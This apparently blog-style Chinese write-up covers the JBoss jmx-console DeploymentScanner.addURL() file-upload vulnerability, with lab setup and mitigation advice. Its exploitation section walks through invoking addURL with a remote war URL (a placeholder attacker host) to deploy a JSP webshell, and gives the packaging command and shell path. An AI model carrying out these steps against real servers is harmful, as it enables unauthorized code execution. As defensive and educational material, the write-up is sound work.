JBoss DeploymentScanner.addURL()文件上传漏洞
JBoss简介
Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080
下载地址:https://jbossas.jboss.org/downloads/
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor
路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.deployment -> DeploymentScanner -> addURL()
方法,传入带有war包的HTTP地址,当服务器访问时便会上传shell。
但是,上传shell的文件只是一个映射文件,
当url一旦无法访问或者内部资源丢失,则服务器上的文件也会相应消失。
影响版本
JBoss应用服务器:JBoss 4.x以下
环境复现
java环境:JDK 8以下
在官网下载相应的JBoss版本
配置环境变量
1 | JBOSS_HOME |
1 | PATH |
外网访问
1 | JBoss6: \server\default\deploy\jbossweb.sar\server.xml |
启动
1 | JBoss\bin\run.bat |
漏洞利用
JBoss漏洞检测
- JBoss漏洞检测工具下载
https://github.com/fupinglee/JavaTools/tree/master/JBoss
- 先探测是否具有JBoss服务
1 | app="jboss" |
根据HTTP头部
1 | # http头部显示jboss服务和版本信息 |
访问如下URL
1 | http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL |
输入带有war包的HTTP地址
http://xxx.com/shell.war
最后点击Invoke
上传
上传的路径为JBos/server/default/deploy/management/shell.war/shell.jsp
访问以下URL链接shell
http://127.0.0.1:8080/shell/shell.jsp
制作WAR包
1 | jar cvf shell.war shell.jsp |
1 | 压缩shell.jsp成shell.zip,然后shell.zip改名为shell.war |
防御措施
- 将JBoss后台添加权限,控制访问者对敏感路径访问
1 | jboss\server\default\deploy\jmx-console.war\WEB-INF\jboss-web.xml |
1 | jboss\server\default\deploy\jmx-console.war\WEB-INF\web.xml |
1 | # 这里修改账号密码 |
- 更新到 JBoss 5.1.0 或者6.0.0以上
- 若不使用控制平台管理,删除
jmx-console.war
和web-console.war
,在以下路径
1 | jboss\server\all\deploy\jmx-console.war |